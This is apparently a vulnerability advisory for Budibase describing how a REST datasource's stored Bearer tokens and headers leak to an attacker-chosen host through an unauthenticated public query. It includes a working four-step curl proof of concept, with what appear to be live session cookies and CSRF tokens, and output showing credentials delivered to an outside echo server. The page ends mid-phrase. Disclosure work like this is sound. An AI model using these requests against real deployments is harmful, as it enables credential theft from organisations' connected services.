Résumé

Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak

Détails de l’avis

Summary

Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied {{ parameter }}), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (--secret-value--) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated).

Root Cause

packages/server/src/integrations/rest.ts: _req() builds authHeaders = getAuthHeaders(...) from the stored auth configs and merges them with config.defaultHeaders into every request, before the URL is resolved. getUrl(): if the (parameter-enriched) query path starts with http, the datasource base URL is ignored and path becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route POST /api/v2/queries/:queryId runs under authorized(QUERY, WRITE); a query published at role PUBLIC is executable with no session.

POC

Reproduction — copy each line, paste in your terminal, press Enter,

Line 1:

DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH_LEAK_TOKEN_5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC_HDR_LEAK_4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])"); echo "datasource=$DSID"

RESPONSE

datasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19

Line 2:

QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])"); echo "query=$QID"

RESPONSE

query=query_datasource_9938805b2d0348a4a4f28dc9d1c97f19_7727920d8ccb4708a495eafb5a1351a7

Line 3:

curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/write" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/read" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/applications/app_dev_hasinocompany_bcb6316e0d014f91939c812389012415/publish" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; echo published

RESPONSE

published

Line 4 — THE BUG (anonymous, no cookie — this prints the leaked Bearer UNAUTH_LEAK_TOKEN_5150):

curl -s -X POST "https://hasinocompany.budibase.app/api/v2/queries/$QID" -H "x-budibase-app-id: app_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"parameters":{"t":"https://postman-echo.com/get"}}'

RESPONSE

{"data":[{"args":{},"headers":{"host":"postman-echo.com","accept":"/","accept-language":"*","accept-encoding":"gzip, br","user-agent":"undici","sec-fetch-mode":"cors","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150","x-datadog-trace-id":"3035031720617373998","x-datadog-parent-id":"5509262114738533737","x-datadog-sampling-priority":"0","x-datadog-tags":"_dd.p.tid=6a56b19a00000000,_dd.p.llmobs_ml_app=app-service","traceparent":"00-6a56b19a000000002a1e99450570f12e-4c74d4b43b81f569-00","tracestate":"dd=t.tid:6a56b19a00000000;t.dm:-1;s:0;p:4c74d4b43b81f569","x-forwarded-proto":"https"},"url":"https://postman-echo.com/get"}],"pagination":{},"headers":{"cf-cache-status":"DYNAMIC","cf-ray":"a1b3cda318a3f0e7-DUB","content-encoding":"gzip","content-type":"application/json; charset=utf-8","date":"Tue, 14 Jul 2026 22:00:58 GMT","etag":"W/"292-YpfNwvZmX1jVU7GPgCQX7hoZtMw"","server":"cloudflare","set-cookie":"_cfuvid=lJDfxAv0j6gmoaOpkyXVKpYK0yYSlYwgBjSHcA.rn.0-1784066458.0972874-1.0.1.1-q7WOtNlMsl5YmqkV34ms7hdy4oi1sw17X9IguTaJOKE; HttpOnly; SameSite=None; Secure; Path=/; Domain=postman-echo.com","vary":"Accept-Encoding","x-envoy-upstream-service-time":"4"},"code":200,"size":"658B","time":"139ms"}

Actual output of L

Références